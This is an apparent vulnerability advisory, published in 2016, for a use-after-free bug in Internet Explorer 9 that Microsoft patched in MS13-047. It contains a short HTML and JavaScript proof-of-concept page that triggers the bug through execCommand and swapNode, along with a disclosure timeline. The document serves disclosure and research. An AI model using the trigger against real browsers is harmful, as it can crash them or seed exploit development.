47 lines
No EOL
1.9 KiB
HTML
47 lines
No EOL
1.9 KiB
HTML
<!--
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Source: http://blog.skylined.nl/20161212001.html
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Synopsis
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A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.
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Known affected software and attack vectors
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Microsoft Internet Explorer 9
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An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path.
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Details
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This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. EIP revealed that this was a use-after-free vulnerability. I have included a number of reports created using a predecessor of BugId below.
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Repro.html:
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-->
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<!DOCTYPE html>
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<html>
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<head>
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<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" >
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<script>
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function go() {
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document.execCommand('SelectAll');
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document.execCommand('superscript');
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setTimeout(function() {
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oSupElement=document.getElementsByTagName('sup')[0];
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oSupElement.swapNode(document.documentElement);
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}, 0);
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}
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</script>
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</head>
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<body onload="go()">
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<address></address>
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<fieldset></fieldset>
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</body>
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</html>
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<!--
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Time-line
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27 September 2012: This vulnerability was found through fuzzing.
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3 December 2012: This vulnerability was submitted to EIP.
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10 December 2012: This vulnerability was rejected by EIP.
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12 December 2012: This vulnerability was submitted to ZDI.
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25 January 2013: This vulnerability was acquired by ZDI.
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15 February 2013: This vulnerability was disclosed to Microsoft by ZDI.
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27 June 2013: This vulnerability was address by Microsoft in MS13-047.
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12 December 2016: Details of this vulnerability are released.
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